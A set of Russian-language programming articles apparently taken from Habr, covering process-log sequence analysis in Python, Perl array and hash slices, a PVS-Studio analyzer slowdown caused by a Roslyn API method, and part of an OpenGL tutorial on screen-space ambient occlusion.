Таблица 2. Срез коротких последовательностейВ данном примере для наглядности привёл срез коротких последовательностей, так последовательность под номером 11 содержит только 5 шагов и встречается в 121 случае. Для статистики, данный лог содержит 7065 уникальных сотрудников, которые прошли 1478 уникальных последовательностей событий.
Самая популярная последовательность встречается 956 раз:
Таблица 3. Самая популярная последовательность в логеМожно сказать — вот он, идеальный путь, сотрудник направил запрос на командировку и в конце получил выплату с успешным одобрением на всех этапах. Однако такой результат не всегда будет верным. Срез данных, которые выбрали для анализа, может содержать в себе большинство последовательностей с негативным исходом.
Таким образом, необходимо просмотреть топ последовательностей по убыванию, и выбрать ту, которая совпадает с корректным начальным и конечным событием. Встречается следующая проблема, таких последовательностей много, каждая из их содержит различное количество событий. А значит, и процесс осуществляется за различное время и задействует различные ресурсы.
Попробуем другой подход к поиску оптимальной последовательности. Для этого выберем последовательность из таблицы выше, которая, на наш взгляд является правильной. Далее будем осуществлять поиск последовательностей, исходя из трех факторов, которые можем рассчитать из имеющихся данных:
1. Общее время исполнения последовательности. Сортируем последовательности в логе в порядке возрастания общего времени исполнения. Недостатки данного фактора — существуют события, которые напрямую не зависят от самого процесса. Например, время, затраченное на командировку. Одному сотруднику нужно съездить на конференцию в соседнюю область, другому, провести исследования в Антарктике. Таким образом, такие события могут сильно искажать статистику последовательности.
2. Насколько последовательность похожа на ту, которую мы выбрали. Определяем значение сходства каждой последовательности в логе с выбранной и сортируем в порядке убывания схожести. Недостатки фактора – если имена событий будут представлены в виде индексов (event\_1, event\_2, event\_22…), могут быть неточности с коэффициентами схожести, стоит уделить внимание к выбору алгоритма или переименованию событий. Для определения схожести строк в данном примере используется стандартная библиотека Python – [difflib](https://docs-python.ru/standart-library/modul-difflib-python/klass-sequencematcher-modulja-difflib/) (метод SequenceMatcher). Но советую попробовать библиотеку [thefuzz](https://pypi.org/project/thefuzz/).
3. Насколько часто последовательность встречается в логе. Сортируем последовательности в порядке убывания частот.
Далее выберем из трех отсортированных списков индексы последовательностей и просуммируем их. Таким образом мы получим «вес последовательности», только выбираем с наименьшим весом.
Для примера, выберем для анализа следующую последовательность:
```
for_compare = ['Permit SUBMITTED by EMPLOYEE',
'Permit APPROVED by ADMINISTRATION',
'Start trip',
'End trip',
'Declaration SUBMITTED by EMPLOYEE',
'Declaration APPROVED by ADMINISTRATION',
'Request Payment',
'Payment Handled']
```
И рассчитаем лучшую последовательность, по отношению к выбранной:
```
op = Optimal_Process(ilog)
b, s = op.get_faster_similar_sequence(for_compare, best_seq_ind = 0)
```
В итоге получим следующую последовательность:
```
['Permit SUBMITTED by EMPLOYEE',
'Permit APPROVED by ADMINISTRATION',
'Start trip',
'End trip',
'Permit FINAL_APPROVED by SUPERVISOR',
'Declaration SUBMITTED by EMPLOYEE',
'Declaration APPROVED by ADMINISTRATION',
'Declaration FINAL_APPROVED by SUPERVISOR',
'Request Payment',
'Payment Handled']
```
Как видим, относительно выбранной последовательности у нас добавилось одобрение поездки «Permit FINAL\_APPROVED by SUPERVISOR» и одобрение декларации на расходы «Declaration FINAL\_APPROVED by SUPERVISOR» руководителем. Что очень похоже на самую популярную последовательность (таблица 3). Разница только в том, что одобрение поездки руководителем осуществляется уже после командировки.
Здесь сразу хочется вернуться к первому фактору, который описали выше. В данном случае время, затраченное на поездку, является случайным фактором, и для полученной последовательности медианное время исполнения события поездки оказалось меньше, чем для самой популярной, по этой причине вес последовательности может быть сильно завышен. Поэтому, если в анализируемом логе присутствуют подобные события, им стоит задавать константное значение, чтобы они не вносили хаос в общую статистику.
Исходя из результатов, можем убедиться, что самая популярная последовательность и есть оптимальный путь процесса. На основе этого можно продолжить дальнейший анализ, фильтровать цепочки событий, которые не входят в оптимальный процесс, и выявлять их причины.
Данная статья не является руководством по исследованию, а лишь одним из примеров, как можно подойти к анализу процесса без использования сложных инструментов. При этом мы попытались выделить основные проблемы, с которыми можем столкнуться при анализе процессов. | https://habr.com/ru/post/600081/ | null | ru | null |
# Slice, или очень полезные ломтики в Perl
Решая задачи реального мира нам постоянно приходится работать со списками данных. И самые счастливые в этой деятельности — Perl-программисты :)
Это все потому, что для работы с частью массива или хеша у нас есть удобный slice. Slice — это не оператор, это принцип обработки данных, когда от большого объекта отрезается кусочек.
Проще показать:
> `my @arr = (1, 3, 5, 7, 9);
>
> my @arr\_slice = @arr[2..4]; # (5, 7, 9)
>
>
>
> my %hash = ( 'first' => 2, 'second' => 5, 'last' => 99);
>
> my @hash\_slice = @hash{'first', 'last'}; # (2, 99)
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
А вот так выглядит синтаксис анонимных массивов и хешей:
> `my $arr\_ref = [1, 3, 5, 7, 9];
>
> my @arr\_ref\_slice = @{$arr\_ref}[2,3]; # (5, 7)
>
>
>
> my $hash\_ref = {'first' => 2, 'second' => 5, 'last' => 99};
>
> my @hash\_ref\_slice = @{$hash\_ref}{'second', 'last'}; # (5, 99)
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
NB. общее правило для анонимных структур —
обозначается всегда как массив, в первых скобках — ссылка на интересующий нас объект, являющийся массивом или хешем, во вторых — перечисление элементов этого объекта.
> `my $deep\_arr = [1, [2, 3, [4, [20, 26, 28]]], 10];
>
> my @deep\_arr\_slice = @{$deep\_arr->[1][2][1]}[0,2]; # (20, 28)`
С многомерным хешем и массивами хешей, ровно как и хешами массиво и т.д. поступаем аналогично, попробуйте сами, это совершенно несложно.
Я же перейду к другому — срезу хеша для создания нового хеша.
> `my @keys = ('first', 'last');
>
> my %old\_hash = ( 'first' => 2, 'second' => 6, 'last' => 99);
>
> my %new\_hash;
>
> @new\_hash{@keys} = @old\_hash{@keys};
>
> # (first => 2, last => 99)`
Вуаля! Самое главное не забывать предварительно объявлять новый хеш, дальше perl сам создаст требуемые ключи и присвоит им значение из старого хеша. Всяко короче циклов. Да еще и нагляднее.
Правда, есть одна загвоздка — вот для такой структуры
`my $complex\_ref = [{'a' => 2, 'b' => 5}, {'a' => -4, 'b' => 8}, {'a' => 10, 'b' => -2}];`
выбрать все значения 'a' и присвоить их новому массиву не получится как-то так:
`my @new\_complex = @{$complex\_ref}[0..2]{'a'} # wrong!!! syntax error`
или так:
`my @new\_complex = @{$complex\_ref->[0..2]}{'a'}; # (-4)???!!!`
Для решения этой задачки мы немного схитрим и возьмем… правильно, map!
`my @new\_complex = map {$\_->{'a'}} @{$complex\_ref}[0..2];`
Ну а вот такие штуки пригодятся в реальной жизни:
> `my $new\_complex\_ref = [ map { {'a' => $\_->{'a'}, 'c' => ( $\_->{'b'} + 3 )} } @{$complex\_ref}[0, 2] ];`
Попробуйте разобраться, сложного абсолютно ничего нет. Соглашусь, что код стал чуть менее читаем, однако его «классический» вариант типа
> `my $classic\_complex\_ref;
>
> for( my $i = 0; $i <= $#{$complex\_ref}; $i++ ){
>
> next if ( $i == 1 );
>
> my $a\_val = $complex\_ref->[$i]{'a'};
>
> my $b\_val = $complex\_ref->[$i]{'b'};
>
> $b\_val += 3;
>
> my $hash = { 'a' => $a\_val, 'b' => $b\_val};
>
> push @$classic\_complex\_ref, $hash;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
слишком громоздок.
ИМХО — подробное комментирование меньшего по объему кода куда как целесообразнее кода на уровне школьных учебников без каких-то комментариев. Читать естественный язык проще, быстрее и приятнее.
PS. Пост написан из самых лучших побуждений немного осветить момент, очевидный для профи и непонятный для новичков языка. | https://habr.com/ru/post/92995/ | null | ru | null |
# Roslyn API, или из-за чего PVS-Studio очень долго проект анализировал
Многие ли из вас использовали сторонние библиотеки при написании кода? Вопрос риторический, ведь без применения сторонних библиотек разработка некоторых продуктов затягивалась бы на очень-очень большое время, потому что для решения каждой проблемы приходилось бы "изобретать велосипед". Однако в использовании сторонних библиотек кроме плюсов имеются и минусы. Один из этих минусов недавно коснулся и анализатора PVS-Studio для C#. Анализатор долгое время не мог закончить анализ большого проекта из-за использования метода SymbolFinder.FindReferencesAsync из Roslyn API в диагностике V3083.
Жизнь в PVS-Studio, как обычно, шла своим чередом. Разрабатывались новые диагностики, улучшался статический анализатор, писались новые статьи. Как вдруг! У одного из пользователей нашего анализатора на его большом проекте в течение дня шёл анализ и никак не мог закончиться. Alarm! Alarm! Свистать всех наверх! И мы свистали, получили дампы от пользователя и начали разбираться в причинах долгого анализа. При подробном изучении проблемы выяснилось, что дольше всех работали 3 C# диагностики. Одной из них оказалась диагностика под номером V3083. К этой диагностике уже и раньше было повышенное внимание, но пора было предпринять конкретные действия. V3083 предупреждает о некорректных вызовах C# событий. Например, в коде:
```
public class IncorrectEventUse
{
public event EventHandler EventOne;
protected void InvokeEventTwice(object o, Eventers args)
{
if (EventOne != null)
{
EventOne(o, args);
EventOne.Invoke(o, args);
}
}
}
```
V3083 укажет на вызовы обработчиков события *EventOne* в методе *InvokeEventTwice*. О причинах опасности этого кода вы можете узнать более подробно в [документации](https://pvs-studio.com/ru/w/v3083/) этой диагностики. Со стороны, логика работы V3083 очень простая:
* найти вызов события;
* проверить, корректно ли это событие вызывается;
* выдать предупреждение, если событие вызывается некорректно.
Из-за этой простоты становится еще интереснее понять причину долгой работы диагностики.
### Причина замедления
На самом же деле логика чуть-чуть сложнее. V3083 в каждом файле для каждого типа создает только одно срабатывание анализатора на событие, куда записывает номера всех строк (для навигации в различных плагинах: [Visual Studio](https://pvs-studio.com/ru/b/0635/), [Rider](https://pvs-studio.com/ru/m/0052/), [SonarQube](https://pvs-studio.com/ru/m/0037/)), где событие некорректно вызывается. Получается, первым делом необходимо найти все места вызова события. Для подобной задачи в Roslyn API уже имеется метод *SymbolFinder.FindReferencesAsync*, который и был использован в V3083, чтобы не "изобретать велосипед".
Этот метод советуют использовать во многих руководствах: [первое](https://dotnetdevlife.wordpress.com/2018/10/17/using-roslyn-to-find-all-references/), [второе](https://riptutorial.com/roslyn/example/30101/get-all-the-references-to-a-method), [третье](https://coderoad.ru/44167269/Roslyn-SymbolFinder-%D0%BF%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BC%D0%B5%D1%81%D1%82%D0%BE%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B2-%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9-%D1%83%D0%B7%D0%B5%D0%BB) и т. д. Возможно, в каких-то простых случаях скорости работы этого метода и достаточно. Однако, чем больше кодовая база проекта, тем дольше этот метод будет работать. На 100 % мы убедились в этом только после изменения V3083.
### Ускорение V3083 после изменения
При изменении кода диагностики или ядра анализатора необходимо проверить, что ничего из того, что раньше работало, не сломалось. Для этого у нас имеются позитивные и негативные тесты на каждую диагностику, юнит тесты для ядра анализатора, а также база open-source проектов (которых уже почти 90 штук). Для чего нам база open-source проектов? На ней мы запускаем наш анализатор для проверки его в "боевых условиях", а также этот прогон служит дополнительной проверкой, что мы ничего не сломали в анализаторе. У нас уже имелся прогон анализатора на этой базе до изменения V3083. Все, что нам осталось сделать, – это совершить аналогичный прогон после изменения V3083 и выяснить выигрыш во времени. Результаты нас приятно удивили. Без использования *SymbolFinder.FindReferencesAsync* в V3083 мы получили ускорение на тестах на 9 %. Если кому-то эти цифры показались незначительными, то вот вам характеристики компьютера, на котором производились замеры:
Думаю, после этого даже самые упертые скептики убедились в масштабах проблемы, которая тихо-мирно жила в диагностике V3083.
### Заключение
Пусть всем, кто использует Roslyn API, эта заметка будет предостережением! И вы не допустите наших ошибок. Причем, это касается не только метода *SymbolFinder.FindReferencesAsync*, но и всех других методов класса *Microsoft.CodeAnalysis.FindSymbols.SymbolFinder*, которые используют один и тот же механизм.
Также советую всем разработчикам тщательней и внимательней изучать библиотеки, которые вы используете. Я говорю это не просто так! Чтобы понять, почему это так важно, советую изучить две других наших заметки: [первая](https://pvs-studio.com/ru/b/0762/), [вторая](https://pvs-studio.com/ru/b/0654/). В них этот вопрос рассмотрен более подробно.
Кроме диагностик мы занялись другими оптимизациями анализатора PVS-Studio, о чем расскажем в следующих статьях и заметках.
Изменение диагностики V3083 пока что не попало в релиз, поэтому версия анализатора 7.12 работает с использованием *SymbolFinder.FindReferencesAsync*.
Как упоминалось ранее, замедление анализатора было найдено еще в двух C# диагностиках, кроме V3083. Ради интереса, предлагаю читателям оставлять свои предположения о том, какие это диагностики в комментариях. Когда предположений станет больше 50, я приоткрою завесу тайны и назову номера этих диагностик.
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Valery Komarov. [Roslyn API: Why PVS-Studio Was Analyzing the Project So Long](https://habr.com/en/company/pvs-studio/blog/553786/). | https://habr.com/ru/post/553788/ | null | ru | null |
# Learn OpenGL. Урок 5.10 – Screen Space Ambient Occlusion
 SSAO
----
Тема фонового освещения была затронута нами в уроке по [основам освещения](https://habrahabr.ru/post/333932), но лишь вскользь. Напомню: фоновая составляющая освещения – суть постоянная величина, добавляемая во все расчеты освещения сцены для имитации процесса *рассеяния света*. В реальном же мире свет испытывает множество переотражений с разной степенью интенсивности, что приводит к столь же неравномерной засветке косвенно освещенных участков сцены. Очевидно, что засветка с постоянной интенсивностью не очень правдоподобна.
Одним из видов приближенного расчета затенения от непрямого освещения является алгоритм *фонового затенения* (*ambient occlusion, AO*), который имитирует ослабление непрямого освещения в окрестности углов, складок и прочих неровностях поверхностей. Такие элементы, в основном, значительно перекрываются соседствующей геометрией и потому оставляют меньше возможностей лучам света вырваться наружу, затемняя данные участки.
Ниже представлено сравнение рендера без и с использованием алгоритма AO. Обратите внимание на то, как падает интенсивность фонового освещения в окрестности углов стен и прочих резких изломов поверхности:
Пусть эффект и не очень заметен, но присутствие эффекта во всей сцене добавляет ей реалистичности за счет дополнительной иллюзии глубины, созданной малыми деталями эффекта самозатенения.
**Содержание**Часть 1. Начало
1. [OpenGL](https://habrahabr.ru/post/310790/)
2. [Создание окна](https://habrahabr.ru/post/311198/)
3. [Hello Window](https://habrahabr.ru/post/311234/)
4. [Hello Triangle](https://habrahabr.ru/post/311808/)
5. [Shaders](https://habrahabr.ru/post/313380/)
6. [Текстуры](https://habrahabr.ru/post/315294/)
7. [Трансформации](https://habrahabr.ru/post/319144/)
8. [Системы координат](https://habrahabr.ru/post/324968/)
9. [Камера](https://habrahabr.ru/post/327604/)
Часть 2. Базовое освещение
1. [Цвета](https://habrahabr.ru/post/329592/)
2. [Основы освещения](https://habrahabr.ru/post/333932/)
3. [Материалы](https://habrahabr.ru/post/336166/)
4. [Текстурные карты](https://habrahabr.ru/post/337550/)
5. [Источники света](https://habrahabr.ru/post/337642/)
6. [Несколько источников освещения](https://habrahabr.ru/post/338254/)
Часть 3. Загрузка 3D-моделей
1. [Библиотека Assimp](https://habrahabr.ru/post/338436/)
2. [Класс полигональной сетки Mesh](https://habrahabr.ru/post/338436/)
3. [Класс 3D-модели](https://habrahabr.ru/post/338998/)
Часть 4. Продвинутые возможности OpenGL
1. [Тест глубины](https://habrahabr.ru/post/342610/)
2. [Тест трафарета](https://habrahabr.ru/post/344238/)
3. [Смешивание цветов](https://habrahabr.ru/post/343096/)
4. [Отсечение граней](https://habrahabr.ru/post/346964/)
5. [Кадровый буфер](https://habrahabr.ru/post/347354/)
6. [Кубические карты](https://habrahabr.ru/post/347750/)
7. [Продвинутая работа с данными](https://habrahabr.ru/post/350008/)
8. [Продвинутый GLSL](https://habrahabr.ru/post/350156/)
9. [Геометричечкий шейдер](https://habrahabr.ru/post/350782/)
10. [Инстансинг](https://habrahabr.ru/post/352962/)
11. [Сглаживание](https://habrahabr.ru/post/351706/)
Часть 5. Продвинутое освещение
1. [Продвинутое освещение. Модель Блинна-Фонга.](https://habrahabr.ru/post/353054/)
2. [Гамма-коррекция](https://habrahabr.ru/post/353632/)
3. [Карты теней](https://habrahabr.ru/post/353956/)
4. [Всенаправленные карты теней](https://habr.com/post/354208/)
5. [Normal Mapping](https://habr.com/post/415579/)
6. [Parallax Mapping](https://habr.com/post/416163/)
7. [HDR](https://habr.com/post/420409/)
8. [Bloom](https://habr.com/post/420375/)
9. [Отложенный рендеринг](https://habr.com/post/420565/)
10. [SSAO](https://habr.com/post/421385/)
Часть 6. PBR
1. [Теория](https://habr.com/post/426123/)
2. [Аналитические источники света](https://habr.com/post/424453/)
3. [IBL. Диффузная облученность.](https://habr.com/post/426987/)
4. [IBL. Зеркальная облученность.](https://habr.com/post/429744/)
Стоит отметить, что алгоритмы расчета AO являются довольно ресурсоемкими, поскольку требуют анализа окружающей геометрии. В наивной реализации можно было бы просто в каждой точке поверхности выпустить множество лучей и определить степень её затенения, но такой подход весьма быстро достигает допустимого для интерактивных приложений предела ресурсоемкости. К счастью, в 2007 году компания Crytek опубликовала работу с описанием собственного подхода в реализации алгоритма *фонового затенения в экранном пространстве* (*Screen-Space Ambient Occlusion, SSAO*), который использовался в релизной версии игры Crysis. Подход рассчитывал степень затенения в экранном пространстве, используя лишь текущий буфер глубины вместо реальных данных об окружающей геометрии. Такая оптимизация радикально ускорила алгоритм по сравнению с эталонной реализацией и при этом давала по большей части правдоподобные результаты, что сделало данный подход приближенного расчета фонового затенения стандартом де-факто в индустрии.
Принцип, на котором основан алгоритм довольно прост: для каждого фрагмента полноэкранного квада рассчитывается *коэффициент затенения* (*occlusion factor*) на основе значений глубины окружающих фрагментов. Вычисленный коэффициент затенение далее используется для уменьшения интенсивности фонового освещения (вплоть до полного исключения). Получение коэффициента требует сбора данных о глубине от множества выборок из сферической области, окружающей рассматриваемый фрагмент, и сравнения этих значений глубины с глубиной рассматриваемого фрагмента. Число выборок, имеющих глубину бОльшую, нежели текущий фрагмент непосредственно и определяют коэффициент затенения. Посмотрите на данную схему:
Здесь, каждая серая точка лежит внутри некоторого геометрического объекта, а потому осуществляет вклад в значение коэффициента затенения. Чем больше выборок окажутся внутри геометрии окружающих объектов, тем меньше будет остаточная интенсивность фонового затенения в этой области.
Очевидно, что качество и реалистичность эффекта прямо зависит от числа сделанных выборок. При малом числе выборок точность алгоритма падает и приводит к появлению артефакта бэндинга (*banding*) или «полошения» из-за резких переходов между областями с сильно отличающимися коэффициентами затенения. Большое же число выборок просто убивает производительность. Рандомизации ядра выборок позволяет при схожих по качеству результатах несколько снизить число требуемых выборок. Подразумевается переориентация поворотом на случайный угол набора векторов выборок. Однако внесение случайности тут же приносит новую проблему в виде заметного шумового узора, что требует использования фильтров размытия для сглаживания результата. Ниже приведен пример работы алгоритма (автор – [John Chapman](http://john-chapman-graphics.blogspot.com/)) и его типичные проблемы: бэндинг и шумовой узор.
Как видно, заметное полошение из-за малого числа выборок неплохо убирается внесением рандомизации ориентации выборок.
Конкретная реализация SSAO от Crytek обладала узнаваемым визуальным стилем. Поскольку специалисты Crytek использовали сферическое ядро выборки это сказывалось даже на плоских поверхностях типа стен, делая их затененными – ведь половина объема ядра выборки оказывалась погруженной под геометрию. Ниже – скриншот со сценой из Crysis, изображенной в градациях серого на основе значения коэффициента затенения. Здесь хорошо виден эффект «серости»:
Для избегания такого влияния мы перейдем от сферического ядра выборки к полусфере, ориентированной вдоль нормали к поверхности:
Осуществляя выборку из такой *полусферы ориентированной по нормали* (*normal-oriented hemisphere*) нам не придется учитывать в расчете коэффициента затенения фрагменты, лежащие под поверхностью прилегающей поверхности. Такой подход убирает излишнее затенение в, в целом, дает более реалистичные результаты. Данном урок будет использовать подход с полусферой и немного доработанный код из блестящего урока по SSAO от [John Chapman](http://john-chapman-graphics.blogspot.com/).
Буфер с исходными данными
-------------------------
Процесс вычисления коэффициента затенения в каждом фрагменте требует наличия данных об окружающей геометрии. Конкретно, нам потребуются следующие данные:
* Вектор положения для каждого фрагмента;
* Вектор нормали для каждого фрагмента;
* Диффузный цвет для каждого фрагмента;
* Ядро выборки;
* Случайный вектор поворота для каждого фрагмента, использующийся в реориентации ядра выборки.
Используя данные о координатах фрагмента в видовом пространстве мы можем сориентировать полусферу ядра выборки вдоль вектора нормали, заданного в видовом пространстве, для текущего фрагмента. Затем получившееся ядро используется для осуществления выборок с различными смещениями из текстуры, хранящей данные о координатах фрагментов. Мы делаем множество выборок в каждом фрагменте и каждой осуществленной выборки сравниваем её значение глубины со значением глубины из буфера координат фрагментов для оценки величины затенения. Полученное значение затем используется для ограничения вклада фоновой компоненты в итоговом расчете освещения. Использование пофрагментного случайного вектора поворота мы можем заметно снизить необходимое количество выборок для получения пристойного результата, далее это будет продемонстрировано.
Поскольку SSAO является эффектом, реализующимся в экранном пространстве, то непосредственный расчет возможно выполнить отрендерив полноэкранный квад. Но тогда у нас не будет данных о геометрии сцены. Чтобы обойти такое ограничение, мы осуществим рендер всей необходимой информации в текстуры, которые позже будут использованы в шейдере SSAO для доступа к геометрической и прочей информации о сцене. Если вы внимательно следовали данным урокам, то уже должны узнать в описанном подходе облик алгоритма отложенного затенения. Во многом поэтому эффект SSAO как родной встает в рендер с отложенным затенением – ведь текстуры, хранящие координаты и нормали, уже доступны в G-буфере.
> В данном уроке эффект реализуется поверх несколько упрощенной версии кода из урока об [отложенном освещении](https://habr.com/post/420565). Если вы еще не ознакомились с принципами отложенного освещения – настоятельно советую обратиться к этому уроку.
>
>
Поскольку доступ к пофрагментной информации о координатах и нормалях уже должен быть доступен за счет G-буфера, то фрагментный шейдер стадии обработки геометрии достаточно прост:
```
#version 330 core
layout (location = 0) out vec4 gPosition;
layout (location = 1) out vec3 gNormal;
layout (location = 2) out vec4 gAlbedoSpec;
in vec2 TexCoords;
in vec3 FragPos;
in vec3 Normal;
void main()
{
// положение фрагмента сохраняется в первой текстуре фреймбуфера
gPosition = FragPos;
// вектор нормали идет во вторую текстуру
gNormal = normalize(Normal);
// диффузный цвет фрагмента - в третью
gAlbedoSpec.rgb = vec3(0.95);
}
```
Поскольку алгоритм SSAO является эффектом в экранном пространстве, а коэффициент затенения вычисляется на основе видимой области сцены, то есть смысл вести расчеты в видовом пространстве. В данном случае переменная *FragPos*, полученная из вершинного шейдера, хранит положение именно в видовом пространстве. Стоит удостовериться, что данные о координатах и нормалях хранятся в G-буфере в видовом пространстве, поскольку все дальнейшие расчеты будут осуществляться в нем же.
> Существует возможность восстановления вектора положения на основе лишь известной глубины фрагмента и некоторого количества математической магии, что описано, например, у Matt Pettineo в [блоге](https://mynameismjp.wordpress.com/2010/09/05/position-from-depth-3/). Это, конечно, требующий бОльших затрат на расчеты способ, однако он избавляет от необходимости хранить данные о положении в G-буфере, что занимает уйму видеопамяти. Однако, ради простоты кода примера, мы оставим этот подход для личного изучения.
Текстура буфер цвета *gPosition* сконфигурирована следующим образом:
```
glGenTextures(1, &gPosition);
glBindTexture(GL_TEXTURE_2D, gPosition);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB16F, SCR_WIDTH, SCR_HEIGHT, 0, GL_RGB, GL_FLOAT, NULL);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
```
Данная текстура хранит координаты фрагментов и может быть использована для получения данных о глубине для каждой точки из ядра выборок. Отмечу, что текстура использует формат данных с плавающей точкой – это позволит координатам фрагментов не быть приведенными к интервалу [0., 1.]. Также обратите внимание на режим повтора – установлен *GL\_CLAMP\_TO\_EDGE*. Это необходимо для устранения возможности не нарочно осуществить оверсэмплинг в экранном пространстве. Выход за пределы основного интервала текстурных координат даст нам некорректные данные о положении и глубине.
Далее займемся формированием полусферического ядра выборок и созданием метода случайной его ориентации.
Создание ориентированной по нормали полусферы
---------------------------------------------
Итак, стоит задача создать набор точек выборки, расположенных внутри полусферы, сориентированной вдоль нормали к поверхности. Поскольку создание ядра выборки для всех возможных направлений нормали вычислительно недостижимо, то мы используем переход в [касательное пространство](https://habr.com/post/415579), где нормаль всегда представляется как вектор в направлении положительной полуоси *Z*.
Предполагая радиус полусферы единичным процесс формирования ядра выборки из 64 точек выглядит так:
```
// случайные вещественные числа в интервале 0.0 - 1.0
std::uniform_real_distribution randomFloats(0.0, 1.0);
std::default\_random\_engine generator;
std::vector ssaoKernel;
for (unsigned int i = 0; i < 64; ++i)
{
glm::vec3 sample(
randomFloats(generator) \* 2.0 - 1.0,
randomFloats(generator) \* 2.0 - 1.0,
randomFloats(generator)
);
sample = glm::normalize(sample);
sample \*= randomFloats(generator);
float scale = (float)i / 64.0;
ssaoKernel.push\_back(sample);
}
```
Здесь мы случайным образом выбираем координаты *x* и *y* в интервале [-1., 1.], а координату *z* – в интервале [0., 1.] (будь интервал таким же, как для *x* и *y*, мы бы получили сферическое ядро выборки). Результирующие вектора выборок окажутся ограничены полусферы, поскольку ядро выборки в конечном итоге будет сориентировано вдоль нормали к поверхности.
В данный момент все точки выборки случайно распределены внутри ядра, но в угоду качеству эффекта выборкам, лежащим ближе к началу координат ядра, стоило бы вносить больший вклад в расчете коэффициента затенения. Это можно реализовать за счет изменения распределения сформированных точек выборки, увеличив их плотность около начала координат. Такую задачу легко выполнить с помощью функции интерполяции с ускорением:
```
scale = lerp(0.1f, 1.0f, scale * scale);
sample *= scale;
ssaoKernel.push_back(sample);
}
```
Функция *lerp()* определена как:
```
float lerp(float a, float b, float f)
{
return a + f * (b - a);
}
```
Такой трюк дает нам модифицированное распределение, где большинство точек выборки лежат вблизи начала координат ядра.
Каждый из полученных векторов выборки будет использован для смещения координаты фрагмента в видовом пространстве для получения данных об окружающей геометрии. Для получения приличных результатов при работе в видовом пространстве может потребоваться внушительное количество отсчетов, что неизбежно ударит по производительности. Однако, внесение псевдослучайного шума или поворота векторов выборок в каждом обрабатываемом фрагменте, позволит значительно снизить требуемое число выборок при сравнимом качестве.
Случайный поворот ядра выборки
------------------------------
Итак, внесение случайности в распределение точек ядра выборки позволяет значительно снизить требование к числу этих точек для получения достойного качества эффекта. Можно было бы создать случайный вектор поворота для каждого фрагмента сцены, но это слишком затратно по памяти. Эффективней создать небольшую текстуру, содержащую набор случайных векторов поворота, а затем просто использовать её с установленным режимом повтора *GL\_REPEAT*.
Создадим массив 4х4 и заполним случайными векторами поворота, сориентированными вдоль вектора нормали в касательном пространстве:
```
std::vector ssaoNoise;
for (unsigned int i = 0; i < 16; i++)
{
glm::vec3 noise(
randomFloats(generator) \* 2.0 - 1.0,
randomFloats(generator) \* 2.0 - 1.0,
0.0f);
ssaoNoise.push\_back(noise);
}
```
Поскольку ядро выровнено вдоль положительной полуоси *Z* в касательном пространстве, то компонент *z* оставляем равным нулю – это обеспечит поворот только вокруг оси *Z*.
Далее создадим текстуру размером также 4х4 и зальем туда наш массив векторов поворота. Обязательно используйте режим повтора *GL\_REPEAT* для тайлинга текстуры:
```
unsigned int noiseTexture;
glGenTextures(1, &noiseTexture);
glBindTexture(GL_TEXTURE_2D, noiseTexture);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB16F, 4, 4, 0, GL_RGB, GL_FLOAT, &ssaoNoise[0]);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);
```
Что ж, теперь у нас готовы все данные, необходимые для непосредственной реализации алгоритма SSAO!
Шейдер SSAO
-----------
Шейдер эффекта будет исполняться для каждого фрагмента полноэкранного квада, вычисляя коэффициент затенения в каждом из них. Поскольку результаты будут использованы в еще одной стадии рендера, создающей итоговое освещение, нам потребуется создание еще одного объекта фреймбуфера для хранения результата работы шейдера:
```
unsigned int ssaoFBO;
glGenFramebuffers(1, &ssaoFBO);
glBindFramebuffer(GL_FRAMEBUFFER, ssaoFBO);
unsigned int ssaoColorBuffer;
glGenTextures(1, &ssaoColorBuffer);
glBindTexture(GL_TEXTURE_2D, ssaoColorBuffer);
glTexImage2D(GL_TEXTURE_2D, 0, GL_RED, SCR_WIDTH, SCR_HEIGHT, 0, GL_RGB, GL_FLOAT, NULL);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST);
glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, ssaoColorBuffer, 0);
```
Поскольку результат работы алгоритма – единственное вещественное число в пределах [0., 1.], то для хранения будет достаточно создать текстуру с единственной доступной компонентой. Именно поэтому в качестве внутреннего формата для буфера цвета ставится *GL\_RED*.
В целом процесс рендера стадии SSAO выглядит примерно следующим образом:
```
// проход геометрии: подготовка G-буфера
glBindFramebuffer(GL_FRAMEBUFFER, gBuffer);
[...]
glBindFramebuffer(GL_FRAMEBUFFER, 0);
// используем G-буфер для создания текстуры с данными SSAO
glBindFramebuffer(GL_FRAMEBUFFER, ssaoFBO);
glClear(GL_COLOR_BUFFER_BIT);
glActiveTexture(GL_TEXTURE0);
glBindTexture(GL_TEXTURE_2D, gPosition);
glActiveTexture(GL_TEXTURE1);
glBindTexture(GL_TEXTURE_2D, gNormal);
glActiveTexture(GL_TEXTURE2);
glBindTexture(GL_TEXTURE_2D, noiseTexture);
shaderSSAO.use();
SendKernelSamplesToShader();
shaderSSAO.setMat4("projection", projection);
RenderQuad();
